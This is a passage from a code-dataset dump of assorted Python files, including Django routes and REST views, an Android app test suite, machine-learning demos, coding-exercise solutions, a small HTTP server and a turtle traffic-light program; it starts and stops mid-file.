connect_api(credentials):\n \"\"\"Shows basic usage of the Google Drive API.\n\n Creates a Google Drive API service object and outputs the names and IDs\n for up to 10 files.\n \"\"\"\n http = credentials.authorize(httplib2.Http())\n service = discovery.build('drive', 'v3', http=http)\n return service\n\n\ndef get_fileid(service):\n response = []\n results = service.files().list(q=CLOUDE_FOLDER_ID).execute()\n items = results.get('files', [])\n if not items:\n print('No files found.')\n else:\n for item in items:\n response.append({'name': item['name'], 'id': item['id']})\n return response\n\n\ndef detect_update(service, fileID):\n file_type = None\n # response = service.files().get(fileId=fileID,fields='*').execute()\n response = service.files().get(fileId=fileID, fields='modifiedTime,name').execute()\n name = str(response['name']).strip()\n date = response['modifiedTime']\n\n global cephDate\n global openstackDate\n\n if name == 'Ceph':\n if cephDate != date and cephDate:\n file_type = \"Ceph\"\n\n cephDate = date\n\n elif name == 'Openstack':\n if openstackDate != date and openstackDate:\n file_type = \"Openstack\"\n\n openstackDate = date\n\n print(name, 'last modifedDate:', date)\n return file_type\n","sub_path":"gdrive.py","file_name":"gdrive.py","file_ext":"py","file_size_in_byte":3105,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"155137621","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path(\"\", views.index, name=\"index\"),\n path(\"login\", views.login_view, name=\"login\"),\n path(\"logout\", views.logout_view, name=\"logout\"),\n path(\"register\", views.register, name=\"register\"),\n path(\"create_listing\", views.create_listing, name=\"create_listing\"),\n path(\"\", views.listing, name=\"listing\"),\n path(\"test\", views.test, name=\"test\"),\n path(\"watchlist\", views.watchlist, name=\"watchlist\"),\n path(\"watchtest\", views.watchtest, name=\"watchtest\"),\n path(\"seller\", views.seller, name=\"seller\"),\n path(\"\", views.category_search, name=\"category_search\")\n \n]\n","sub_path":"commerce/auctions/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"438921896","text":"from MobileApps.libs.flows.android.smart.flow_container import FLOW_NAMES, TILE_NAMES\nimport pytest\nfrom SAF.misc import saf_misc\nfrom MobileApps.resources.const.android.const import *\nfrom selenium.common.exceptions import TimeoutException\nimport datetime\n\npytest.app_info = \"SMART\"\npytest.printer_feature={\"scanner\": True}\n\n\nclass Test_Suite_01_Create_New_Smart_Tasks(object):\n @pytest.fixture(scope=\"class\", autouse=\"true\")\n def class_setup(cls, request, android_smart_setup):\n cls = cls.__class__\n cls.driver, cls.fc = android_smart_setup\n\n # Define the flows\n cls.home = cls.fc.flow[FLOW_NAMES.HOME]\n cls.hpid = cls.fc.flow[FLOW_NAMES.HPID]\n cls.ows_value_prop = cls.fc.flow[FLOW_NAMES.OWS_VALUE_PROP]\n cls.smart_tasks = cls.fc.flow[FLOW_NAMES.SMART_TASKS]\n cls.ucde_privacy = cls.fc.flow[FLOW_NAMES.UCDE_PRIVACY]\n cls.google_chrome = cls.fc.flow[FLOW_NAMES.GOOGLE_CHROME]\n\n # Define the variable\n cls.hpid_username = saf_misc.load_json(ma_misc.get_abs_path(TEST_DATA.HPID_ACCOUNT))[\"hpid\"][\"account_01\"][\"username\"]\n cls.hpid_pwd = saf_misc.load_json(ma_misc.get_abs_path(TEST_DATA.HPID_ACCOUNT))[\"hpid\"][\"account_01\"][\"password\"]\n cls.email_address = saf_misc.load_json(ma_misc.get_abs_path(TEST_DATA.GMAI_ACCOUNT))[\"email\"][\"qa.mobiauto\"][\"username\"]\n\n def clean_up_class():\n cls.fc.flow_home_delete_all_smart_tasks(cls.hpid_username, cls.hpid_pwd)\n\n request.addfinalizer(clean_up_class)\n '''\n def test_01_smart_tasks_login_by_creating_account_via_tile(self):\n \"\"\"\n Description:\n 1. Load to Home screen\n 2. Click on Smart Tasks tile\n 3. Click on Create Account button\n 4. Create a new HPID account\n\n Expected Result:\n 4. Verify Smart Tasks empty lists screen\n \"\"\"\n self.__load_hpid_sign_in_screen()\n # Handle for welcome screen of Google Chrome\n self.google_chrome.handle_welcome_screen_if_present()\n self.driver.wait_for_context(\"WEBVIEW_chrome\")\n self.hpid.verify_hp_id_sign_up()\n self.hpid.create_account()\n self.driver.wait_for_context(WEBVIEW_CONTEXT.SMART)\n #Todo: Wait for designer's reply for updating timeout.\n self.ucde_privacy.skip_ucde_privacy_screen(timeout=30)\n self.home.check_run_time_permission(accept=True, timeout=15)\n self.smart_tasks.dismiss_smart_task_skip_btn(is_checked=False)\n self.smart_tasks.verify_smart_tasks_list_screen(is_empty=True)\n\n def test_02_smart_tasks_login_by_creating_account_via_app_settings(self):\n \"\"\"\n Description:\n 1. Load to Home screen\n 2. Click on App Settings, and Click in Sign In button\n 3. Create a new HPID account\n 4. Click on Back button on App settings\n 5. Click on Smart Tasks tile on Home screen\n 6. Click on Learn More button\n\n Expected Result:\n 5. Verify Smart Tasks empty lists screen\n 6. Verify Smart Tasks learn more screen\n \"\"\"\n self.fc.flow_home_load_smart_task_screen(create_acc=True)\n self.smart_tasks.verify_smart_tasks_list_screen(is_empty=True)\n self.smart_tasks.select_learn_more_btn()\n self.smart_tasks.verify_smart_tasks_learn_more_screen()\n\n def test_03_smart_tasks_login_via_tile(self):\n \"\"\"\n Description:\n 1. Load to Home screen\n 2. Go to App Setting to logout HPID account\n 3. Click on Back button\n 4. Click on Smart Tasks tile\n 5. Click on Sign In button\n 6. Login HPID account\n\n Expected Result:\n 6. Verify Smart Tasks screen:\n - Title\n - \"+\" button\n \"\"\"\n self.__load_hpid_sign_in_screen(index=1)\n # Handle for welcome screen of Google Chrome\n self.google_chrome.handle_welcome_screen_if_present()\n self.driver.wait_for_context(\"WEBVIEW_chrome\")\n self.hpid.verify_hp_id_sign_in()\n self.hpid.login(self.hpid_username, self.hpid_pwd, change_check={\"wait_obj\": \"sign_in_button\", \"invisible\": True})\n #Todo: From HPID login to Smart Tasks screen will take to 20s. And has CR GDG-1768 for tracking this issue\n self.home.check_run_time_permission(accept=True, timeout=20)\n self.smart_tasks.verify_smart_tasks_screen()\n\n @pytest.mark.parametrize(\"invalid_name\",[\".12\", \"%ab\", \" a1\", \"long_name\"])\n def test_04_new_smart_task_invalid_name(self, invalid_name):\n \"\"\"\n Description:\n 1. Load to Smart Tasks screen\n 2. Click on CREATE NEW SMART TASKS or \"+\" button\n 3. Type smart task name starts with period or space or any special characters\n Or type smart task name ends with period or space or any special characters\n\n Expected Result:\n 3. Verify New Smart Task name:\n - If start with period, space or special characters: cannot see in new smart task name\n - If name typed more than 255 characters: error message \"smart task name missing\" popup\n \"\"\"\n if invalid_name == \"long_name\":\n invalid_name = \"\".join(\"long\" for _ in range(64))\n self.fc.flow_home_load_smart_task_screen(self.hpid_username, self.hpid_pwd)\n self.fc.flow_smart_task_load_smart_task_create_screen(invalid_name)\n if invalid_name == \"long_name\":\n self.smart_tasks.add_smart_task_for_print()\n self.smart_tasks.select_save_btn()\n self.smart_tasks.verify_smart_task_invalid_name_popup(is_missing=True)\n else:\n self.smart_tasks.verify_smart_task_name(invalid_name)\n\n def test_05_create_new_smart_task_without_saving(self):\n \"\"\"\n Description:\n 1. Load to Smart Tasks screen\n 2. Click on CREATE NEW SMART TASKS or \"+\" button\n 3. Type smart task name\n 4. Click on Print\n 5. Enable print to your smart task\n 6. Click on Back button\n 7. Click on Back button\n\n Expected Result:\n 7. Verify popup without saving smart task screen:\n + body message\n + LEAVE button\n + GO BACK button\n \"\"\"\n self.fc.flow_home_load_smart_task_screen(self.hpid_username, self.hpid_pwd)\n self.fc.flow_smart_task_load_smart_task_create_screen(\"print_photo\")\n self.smart_tasks.add_smart_task_for_print()\n self.fc.select_back()\n self.smart_tasks.verify_are_you_sure_popup()\n\n @pytest.mark.parametrize(\"print_option\",[\"two_sided_off,color,single_copies\",\n \"short_edge,color,single_copies\",\n \"long_edge,color,single_copies\",\n \"two_sided_off,black,single_copies\",\n \"short_edge,black,single_copies\",\n \"long_edge,black,single_copies\",\n \"two_sided_off,color,multi_copies\",\n \"short_edge,color,multi_copies\",\n \"long_edge,color,multi_copies\",\n \"two_sided_off,black,multi_copies\",\n \"short_edge,black,multi_copies\",\n \"long_edge,black,multi_copies\"\n ])\n def test_06_create_new_smart_task_for_print(self, print_option):\n \"\"\"\n Description:\n 1. Load to Smart Tasks screen\n 2. Click on CREATE NEW SMART TASKS or \"+\" button\n 3. Type smart task name\n 4. Click on Print\n 5. Enable print to your smart task\n 6. For print type:\n - color_two_sided_off\n - color_short_edge: Click on Two-sided, select Short Edge\n - color_long_edge: Click on Two-sided, select Long Edge\n - black_two_sided_off: Click on Color, select Black\n - black_short_edge: Click on Color, select Black. And, Click on Two-sided, select Short Edge\n - black_long_edge: Click on Color, select Black. And, Click on Two-sided, select Long Edge\n 7. Click on Back button\n 8. Click on Save button\n 9. Click on OK button if \"You just created a Smart Task\" popup\n Or Click on BACK TO SMART TASK BUTTON if \"Smart Tasks saved\" popup\n\n Expected Result:\n 8. If print type is color_two_sided_off, then verify \"You just created a Smart Task\" popup\n Other options from step 6, then verify \"Smart Tasks saved\" popup with below points:\n - Title\n - START THIS SMART TASK BUTTON\n - BACK TO SMART TASK BUTTON\n - HOME BUTTON\n 9. Verify Smart Tasks lists screen if clicking \"BACK TO SMART TASKS\" button from Step 9\n \"\"\"\n print_option = print_option.split(\",\")\n smart_task_name = \"{}_{}_{:%Y_%m_%d_%H_%M_%S}\".format(self.driver.driver_info[\"desired\"][\"udid\"], print_option[1], (datetime.datetime.now()))\n sides_option = {\n \"two_sided_off\": self.smart_tasks.TWO_SIDE_OFF,\n \"short_edge\": self.smart_tasks.SHORT_EDGE,\n \"long_edge\": self.smart_tasks.LONG_EDGE}\n color_option = {\n \"color\": self.smart_tasks.COLOR_BTN,\n \"black\": self.smart_tasks.GRAYSCALE_BTN}\n copies_num = {\"single_copies\": 1,\n \"multi_copies\": 2}\n self.fc.flow_home_load_smart_task_screen(self.hpid_username, self.hpid_pwd)\n self.fc.flow_smart_task_load_smart_task_create_screen(smart_task_name)\n self.smart_tasks.add_smart_task_for_print(copies_num=copies_num[print_option[2]], \n two_sided_option=sides_option[print_option[0]], \n color_type=color_option[print_option[1]])\n self.smart_tasks.select_save_btn()\n try:\n self.smart_tasks.dismiss_smart_task_created_popup()\n except TimeoutException:\n self.smart_tasks.select_btn_on_saved_screen(is_checked=True, btn_name=self.smart_tasks.BACK_TO_SMART_TASKS_BTN)\n self.smart_tasks.verify_smart_tasks_list_screen(is_empty=False)\n\n @pytest.mark.parametrize(\"email_option\", [\"\", \"qa.mobiautotest\"])\n def test_07_create_new_smart_task_with_invalid_email(self, email_option):\n \"\"\"\n Description:\n 1. Load to Smart Tasks screen\n 2. Click on CREATE NEW SMART TASKS or \"+\" button\n 3. Type smart task name\n 4. Click on Email\n 5. Enable email to your smart task\n 6. For email type:\n - empty_email: Leave email filed empty\n - invalid_email: type invalid email address\n 7. Click on Back button\n 8. Click on OK button\n\n Expected Result:\n 7. If empty recipient from step 6, then verify empty recipient popup:\n - Message\n If invalid recipient from step 6, then verify invalid email address popup:\n - Message\n \"\"\"\n smart_task_name = \"{}_{:%Y_%m_%d_%H_%M_%S}\".format(email_option, (datetime.datetime.now()))\n self.fc.flow_home_load_smart_task_screen(self.hpid_username, self.hpid_pwd)\n self.fc.flow_smart_task_load_smart_task_create_screen(smart_task_name)\n self.smart_tasks.add_smart_task_for_email(email_option)\n if email_option == \"qa.mobiautotest\":\n self.smart_tasks.verify_invalid_email_popup_screen(is_empty=False)\n else:\n self.smart_tasks.verify_invalid_email_popup_screen(is_empty=True)\n self.smart_tasks.select_ok_btn()\n\n def test_08_create_new_smart_task_for_email(self):\n \"\"\"\n Description:\n 1. Load to Smart Tasks screen with an new HPID account\n 2. Click on CREATE NEW SMART TASKS or \"+\" button\n 3. Type smart task name\n 4. Click on Email\n 5. Enable email to your smart task\n 6. Type an email address\n 7. Click on Back button\n 8. Click on Save button\n\n Expected Result:\n 8. Verify \"Smart Tasks saved\" popup\n \"\"\"\n smart_task_name = \"{}_{}_{:%Y_%m_%d_%H_%M_%S}\".format(self.driver.driver_info[\"desired\"][\"udid\"], \"email\", (datetime.datetime.now()))\n self.fc.flow_home_load_smart_task_screen(self.hpid_username, self.hpid_pwd)\n self.fc.flow_smart_task_load_smart_task_create_screen(smart_task_name)\n self.smart_tasks.add_smart_task_for_email(to_email=self.email_address)\n self.smart_tasks.select_save_btn()\n try:\n self.smart_tasks.dismiss_smart_task_created_popup()\n except TimeoutException:\n self.smart_tasks.select_btn_on_saved_screen(is_checked=True, btn_name=self.smart_tasks.BACK_TO_SMART_TASKS_BTN)\n '''\n @pytest.mark.parametrize(\"save_option\", [\"google_drive\", \"dropbox\"])\n def test_09_create_new_task_for_saving(self, save_option):\n \"\"\"\n Description:\n 1. Load to Smart Tasks screen\n 2. Click on CREATE NEW SMART TASKS or \"+\" button\n 3. Type smart task name\n 4. Click on Save\n 5. Enable Dropbox or Google Drive account for saving\n 6. Click on Back button\n 7. Click on Save button\n\n Expected Result:\n 4. Verify Save to screen with below points:\n + Title\n + Cloud accounts list\n 7. Verify Saved! screen popup with\n \"\"\"\n smart_task_name = \"{}_{}_{:%Y_%m_%d_%H_%M_%S}\".format(self.driver.driver_info[\"desired\"][\"udid\"], save_option, (datetime.datetime.now()))\n save_options = {\"google_drive\": self.smart_tasks.SAVE_TO_GGDRIVE,\n \"dropbox\": self.smart_tasks.SAVE_TO_DROPBOX\n }\n import pdb;pdb.set_trace()\n self.fc.flow_home_load_smart_task_screen(self.hpid_username, self.hpid_pwd, create_acc=False)\n self.fc.flow_smart_task_load_smart_task_create_screen(smart_task_name)\n self.smart_tasks.add_smart_task_for_saving(save_options[save_option])\n self.smart_tasks.select_save_btn()\n try:\n self.smart_tasks.dismiss_smart_task_created_popup()\n except TimeoutException:\n self.smart_tasks.select_btn_on_saved_screen(is_checked=True)\n '''\n def test_10_create_new_smart_task_with_existed_name(self):\n \"\"\"\n Description:\n 1. Load to Smart Tasks screen\n 2. Click on CREATE NEW SMART TASKS or \"+\" button\n 3. Type smart task name\n 4. Click on Print\n 5. Enable Print\n 6. Click on Back button\n 7. Click on Save button\n 8. Click on OK button\n 9. Click on \"+\" button\n 10. Type the same Smart Task name from step2\n 11. Click on Print\n 12. Enable Print\n 13. Click on Back button\n 14. Click on Save button\n\n Expected Result:\n 7. Verify Smart Tasks Saved! popup screen\n 14. Verify smart task existed name popup with:\n - message: A Smart Task name already existed....\n \"\"\"\n smart_task_name = \"{}_{}_{:%Y_%m_%d_%H_%M_%S}\".format(self.driver.driver_info[\"desired\"][\"udid\"], \"existed_name\", (datetime.datetime.now()))\n self.fc.flow_home_load_smart_task_screen(self.hpid_username, self.hpid_pwd, create_acc=False)\n self.fc.flow_smart_task_load_smart_task_create_screen(smart_task_name)\n self.smart_tasks.add_smart_task_for_print()\n self.smart_tasks.select_save_btn()\n try:\n self.smart_tasks.dismiss_smart_task_created_popup()\n except TimeoutException:\n self.smart_tasks.select_btn_on_saved_screen(is_checked=True, btn_name=self.smart_tasks.BACK_TO_SMART_TASKS_BTN)\n self.smart_tasks.load_smart_task_create_screen()\n self.smart_tasks.input_smart_task_name(smart_task_name)\n self.smart_tasks.add_smart_task_for_print()\n self.smart_tasks.select_save_btn()\n self.smart_tasks.verify_smart_task_invalid_name_popup(is_missing=False)\n\n ######################################################################\n # PRIVATE FUNCTIONS #\n ######################################################################\n def __load_hpid_sign_in_screen(self, index=0):\n \"\"\"\n 1. Logout HPID if HPID still login\n 2. Load to Home screen\n 3. Click on Smart Tasks tile, and click on get started button\n \"\"\"\n self.fc.reset_app()\n self.driver.clear_app_cache(PACKAGE.GOOGLE_CHROME)\n self.fc.flow_load_home_screen(skip_value_prop=True)\n self.home.select_tile_by_name(self.home.get_text_from_str_id(TILE_NAMES.SMART_TASKS))\n self.ows_value_prop.verify_ows_value_prop_screen(tile=True)\n self.ows_value_prop.select_value_prop_buttons(index=index)\n '''\n","sub_path":"tests/android/smart/dashboard/Epic203_QAMA/test_suite_01_create_new_smart_tasks.py","file_name":"test_suite_01_create_new_smart_tasks.py","file_ext":"py","file_size_in_byte":17136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"447745372","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.cluster import DBSCAN\n\nnp.random.seed(20)\nX = np.array([[1, 2],\n [2, 2],\n [2, 3],\n [8, 7],\n [8, 8],\n [25, 80]])\n\n# training\nmodel = DBSCAN(eps=3, min_samples=2)\nmodel.fit(X)\ny_pred = model.fit_predict(X); #print(y_pred)\nlabels = model.labels_; #print(labels)\n\n# visualization\ncenter1 = np.where(y_pred == 0)\ncenter2 = np.where(y_pred == 1)\ncenter3 = np.where(y_pred == -1)\n\nfig, axes = plt.subplots(1,2, figsize=(15,10))\naxes[0].scatter(X[:,0], X[:,1])\naxes[0].grid()\naxes[1].scatter(X[:,0][center1], X[:,1][center1])\naxes[1].scatter(X[:,0][center2], X[:,1][center2])\naxes[1].scatter(X[:,0][center3], X[:,1][center3])\naxes[1].grid()\nplt.show()\n\n","sub_path":"sklearn/cluster_DBSCAN.py","file_name":"cluster_DBSCAN.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"540197392","text":"#LEETCODE Problem number 896\n#An array is monotonic if it is either monotone increasing\n#or monotone decreasing\n#Return true if and only if the given array A is monotonic.\n\nclass Solution(object):\n def isMonotonic(self, A):\n \"\"\"\n :type A: List[int]\n :rtype: bool\n \"\"\"\n mInc = mDec = 0\n for i in range(0,len(A)-1):\n if A[i]<=A[i+1]:\n mInc = mInc+ 1\n if A[i]>=A[i+1]:\n mDec = mDec + 1\n print(mDec,mInc)\n if mDec == len(A)-1 or mInc == len(A)-1:\n return True\n else:\n return False\n \n","sub_path":"Python/MonotonicArray.py","file_name":"MonotonicArray.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"316277852","text":"from http.server import HTTPServer, SimpleHTTPRequestHandler\n\n\nclass MyHandler(SimpleHTTPRequestHandler):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.extensions_map[\".wasm\"] = \"application/wasm\"\n\n\nhttpd = HTTPServer((\"\", 8181), MyHandler)\nhttpd.serve_forever()\n","sub_path":"wasm/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"244753080","text":"'''Leia 3 (três) números e escreva-os em ordem crescente.'''\r\n\r\n# ENTRADA\r\nnum1 = int(input('Digite um número: '))\r\nnum2 = int(input('Digite outro número: '))\r\nnum3 = int(input('Digite mais um número: '))\r\n\r\n# PROCESSAMENTO\r\nif num1 < num2 < num3:\r\n print(f'{num1}, {num2}, {num3}')\r\n\r\nelif num1 < num3 < num2:\r\n print(f'{num1}, {num3}, {num2}')\r\n\r\nelif num2 < num1 < num3:\r\n print(f'{num2}, {num1}, {num3}')\r\n\r\nelif num2 < num3 < num1:\r\n print(f'{num2}, {num3}, {num1}')\r\n\r\nelif num3 < num1 < num2:\r\n print(f'{num3}, {num1}, {num2}')\r\n\r\nelif num3 < num2 < num1:\r\n print(f'{num3}, {num2}, {num1}')\r\n","sub_path":"G - Fabio 2a e 2b - Condicionais/G - Fabio 2a - Condicionais/G_Fabio_2a_q5_crescente.py","file_name":"G_Fabio_2a_q5_crescente.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"276186946","text":"import tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nvectors_set = []\nfor i in range(1000):\n x1 = np.random.normal(0.0, 1.0)\n y1 = x1 * 0.1 + 0.3 + np.random.normal(0.0, 0.03)\n vectors_set.append([x1,y1])\nx_data = [[v[0]] for v in vectors_set]\ny_data = [[v[1]] for v in vectors_set]\n\nlearning_rate = 0.5\ntrain_step = 4\n\nx = tf.placeholder(tf.float32, [None,1])\ny = tf.placeholder(tf.float32, [None,1])\n\nw = tf.Variable(tf.random_normal([1],0,0.1))\nb = tf.Variable(tf.zeros([1]))\ny_ = tf.add(tf.multiply(x,w), b)\n\nloss = tf.reduce_mean(tf.square(y_-y))\ntrain = tf.train.GradientDescentOptimizer(learning_rate).minimize(loss)\n\ninit = tf.global_variables_initializer()\nwith tf.Session() as sess:\n sess.run(init)\n for i in range(train_step):\n l, _ = sess.run([loss, train], feed_dict={x:x_data, y:y_data}) \n print(i,'Loss:',l)\n print('W:',sess.run(w),'B:',sess.run(b))\n plt.plot(x_data,y_data,'ro')\n plt.plot(x_data,x_data*sess.run(w)+sess.run(b))\n plt.show()\n","sub_path":"code/linear_regression.py","file_name":"linear_regression.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"369352499","text":"def order(sentence):\n numbers = '123456789'\n sentence = sentence.split(' ')\n s = []\n for i in sentence:\n for j in i:\n if j in numbers:\n s.append([j, i])\n break\n s = sorted(s, key = lambda x : x[0])\n res = ''\n for i in s:\n res += i[1] + ' '\n return res[:-1]\n","sub_path":"Programación/Código Python/Codewars/Yourorderplease.py","file_name":"Yourorderplease.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"398943192","text":"from rest_framework.response import Response\nfrom rest_framework.permissions import AllowAny, IsAuthenticated\nfrom rest_framework.decorators import api_view, permission_classes\nfrom rest_framework import status\nfrom .serializers import *\nimport random\n\n\n@api_view(['GET'])\n@permission_classes([AllowAny])\ndef recipes_all(request):\n try:\n recipes = Recipe.objects.filter(status='A')\n except Recipe.DoesNotExist:\n return Response(request.data, status=status.HTTP_404_NOT_FOUND)\n serializer = RecipeShowSerializer(recipes, many=True)\n return Response({'recipes': serializer.data}, status=status.HTTP_200_OK)\n\n\n@api_view(['GET'])\n@permission_classes([AllowAny])\ndef recipes_random(request):\n quantity = 15\n max_quantity = Recipe.objects.filter(status='A').count()\n if quantity > max_quantity:\n recipes = Recipe.objects.all()\n else:\n # Массив случайных id\n random_id = [0] * quantity\n exist_flg = False\n for i in range(len(random_id)):\n while True:\n random_id[i] = random.randint(1, Recipe.objects.last().pk)\n print(random_id[i])\n if Recipe.objects.filter(status='A', id=random_id[i]).exists():\n exist_flg = False\n for j in range(len(random_id)):\n if random_id[j] == random_id[i] and not i == j:\n exist_flg = True\n break\n if exist_flg:\n continue\n else:\n break\n else:\n continue\n recipes = Recipe.objects.filter(id__in=random_id)\n\n serializer = RecipeShowSerializer(recipes, many=True)\n return Response({'recipes': serializer.data})\n\n\n@api_view(['GET'])\n@permission_classes([AllowAny])\ndef recipes_by_title(request, search_title):\n try:\n recipes = Recipe.objects.filter(status='A', title__icontains=search_title)\n except Recipe.DoesNotExist:\n return Response(request.data, status=status.HTTP_404_NOT_FOUND)\n serializer = RecipeShowSerializer(recipes, many=True)\n return Response({'recipes': serializer.data}, status=status.HTTP_200_OK)\n\n\n@api_view(['GET'])\n@permission_classes([AllowAny])\ndef recipes_by_tag(request, search_tag):\n try:\n recipes = Recipe.objects.filter(status='A', fixed_tags__in=(\n FixedTag.objects.filter(name__icontains=search_tag)\n ))\n except Recipe.DoesNotExist:\n return Response(request.data, status=status.HTTP_404_NOT_FOUND)\n serializer = RecipeShowSerializer(recipes, many=True)\n return Response({'recipes': serializer.data}, status=status.HTTP_200_OK)\n\n\n@api_view(['GET'])\n@permission_classes([AllowAny])\ndef recipes_by_author(request, search_author):\n try:\n recipes = Recipe.objects.filter(status='A', creator__in=(\n Client.objects.filter(username__icontains=search_author)\n ))\n except Recipe.DoesNotExist:\n return Response(request.data, status=status.HTTP_404_NOT_FOUND)\n serializer = RecipeShowSerializer(recipes, many=True)\n return Response({'recipes': serializer.data}, status=status.HTTP_200_OK)\n\n\n@api_view(['GET'])\n@permission_classes([AllowAny])\ndef recipe_info(request, pk):\n try:\n recipe = Recipe.objects.get(id=pk)\n except Recipe.DoesNotExist:\n return Response(request.data, status=status.HTTP_404_NOT_FOUND)\n serializer = RecipeSerializer(recipe)\n return Response({'recipe': serializer.data}, status=status.HTTP_200_OK)\n\n\n@api_view(['GET'])\n@permission_classes([AllowAny])\ndef client_info(request, pk):\n try:\n client = Client.objects.get(id=pk)\n except Client.DoesNotExist:\n return Response(request.data, status=status.HTTP_404_NOT_FOUND)\n serializer = ClientShowSerializer(client)\n return Response({'client': serializer.data}, status=status.HTTP_200_OK)\n","sub_path":"Backend/Confectionary/Backend/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3943,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"102511863","text":"import sys\n\ntestCases = int(input())\n\ndef values_duplicated(lista):\n return list(set([k for k in lista if lista.count(k)>1]))\n\nfor testCase in range(1, testCases + 1):\n n = int(input())\n matrix = [[0 for i in range(n)] for y in range(n)] \n k, r, c = 0, 0, 0\n for i in range(n):\n row = input().split()\n for j in range(len(row)):\n matrix[j][i] = row[j]\n\n # Calculate diagonal sum\n if i == j:\n k = int(row[j]) + k\n\n # Verify dumplicates in rows\n if values_duplicated(row):\n r = r + 1\n\n # Verify dumplicates in columns\n for i in range(len(matrix)):\n if values_duplicated(matrix[i]):\n c = c + 1\n\n print(\"Case #\" + str(testCase) + \": \" + str(k) + \" \" + str(r) + \" \" + str(c))","sub_path":"Vestigium.py","file_name":"Vestigium.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"456291795","text":"## Chapter 10. Event-Driven Programming\r\n## http://openbookproject.net/thinkcs/python/english3e/events.html\r\n\r\n## Exercise 2\r\n## ===========\r\n# Change the traffic light program so that changes occur automatically,\r\n# driven by a timer.\r\n\r\nimport turtle\r\n\r\n\r\ndef make_screen(width, height, title, bgcol = \"lightgreen\"):\r\n turtle.setup(width, height) # Determine the window size\r\n wn = turtle.Screen() # Get a reference to the window\r\n wn.title(title) # Change the window title\r\n wn.bgcolor(bgcol) # Set the background color\r\n return wn\r\n\r\n\r\ndef make_turtle(color, pensize, shape, x = 0, y = 0):\r\n t = turtle.Turtle()\r\n t.color(color)\r\n t.pensize(pensize)\r\n t.shape(shape)\r\n return t\r\n\r\n\r\ndef draw_housing():\r\n tess.color(\"purple\", \"darkgrey\")\r\n tess.penup()\r\n tess.goto(0, -100)\r\n tess.pendown()\r\n tess.begin_fill()\r\n tess.forward(80)\r\n tess.left(90)\r\n tess.forward(200)\r\n tess.circle(40, 180)\r\n tess.forward(200)\r\n tess.left(90)\r\n tess.end_fill()\r\n\r\n\r\nwn = make_screen(400, 500, \"Tess becomes a traffic light!\")\r\ntess = make_turtle(\"purple\", 3, \"arrow\")\r\n\r\ndraw_housing()\r\ntess.forward(40)\r\ntess.penup()\r\ntess.left(90)\r\ntess.forward(50)\r\n# Turn tess into a big green circle\r\ntess.shape(\"circle\")\r\ntess.shapesize(3)\r\ntess.fillcolor(\"green\")\r\n\r\n# This variable holds the current state of the machine\r\nstate = 0\r\ntime = 1500\r\n\r\n\r\ndef advance_state_machine():\r\n global state\r\n if state == 2:\r\n tess.forward(-140)\r\n tess.fillcolor(\"green\")\r\n state = 0\r\n wn.ontimer(advance_state_machine, time)\r\n elif state == 1:\r\n tess.forward(70)\r\n tess.fillcolor(\"red\")\r\n state = 2\r\n wn.ontimer(advance_state_machine, time)\r\n else:\r\n tess.forward(70)\r\n tess.fillcolor(\"orange\")\r\n state = 1\r\n wn.ontimer(advance_state_machine, int(time / 3))\r\n\r\n\r\nadvance_state_machine()\r\n\r\nwn.mainloop()","sub_path":"10 Event-Driven Programming/10-2.py","file_name":"10-2.py","file_ext":"py","file_size_in_byte":1963,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"440605304","text":"import string\n\n\ndef get_data_list(file_name : string) -> list:\n \"\"\"Receives a CSV file name in string format and returns a list of lists. Each list correspond\n to a row in the file.\n \"\"\"\n data_file = open(file_name, \"r\")\n data_list = [] # start with an empty list\n for line_str in data_file: # strip end-of-line, split on commas, and append items to list\n data_list.append(line_str.strip().split(','))\n return data_list\n\n\ndef get_monthly_averages(data_list : list) -> list:\n \"\"\"Receives a list of lists in the format:\n [[Date,Open,High,Low,Close,Volume,Adj Close],\n [2008-09-19,461.00,462.07,443.28,449.15,10006000,449.15],\n ...]\n Returns a sorted list in the format\n [(average1, year1, month1), ..., (average2, year2, month2)]\n where average is a list like [V1 ∗ C1 + V2 ∗ C2 + ... + Vn ∗ C n, V1 + V2 + ... + Vn] and\n Vi is the Volume and Ci is the Adj Close for the respective month and year.\n \"\"\"\n # dictionary to store averages by month and year\n # e.g. monthly_averages[(month, year)] = [numerator, denominator]\n monthly_averages = {}\n\n # start at 1 cause 0 is the header\n for i in range(1, len(data_list)):\n try:\n # Split date by year, month and day so it is easier to access it\n year, month, day = data_list[i][0].split(\"-\")\n year = int(year)\n month = int(month)\n day = int(day)\n except:\n print(\"Data format wrong!\")\n\n # Try to add new values to numerator and denominator of this (year,month) pair\n # or create the new (year,month) pair\n if (year, month) in monthly_averages.keys():\n # numerator for this year and month\n monthly_averages[(year, month)][0] += float(data_list[i][5]) * float(data_list[i][6])\n # denominator for this year and month\n monthly_averages[(year, month)][1] += float(data_list[i][5])\n else:\n # set numerator for this year and month\n 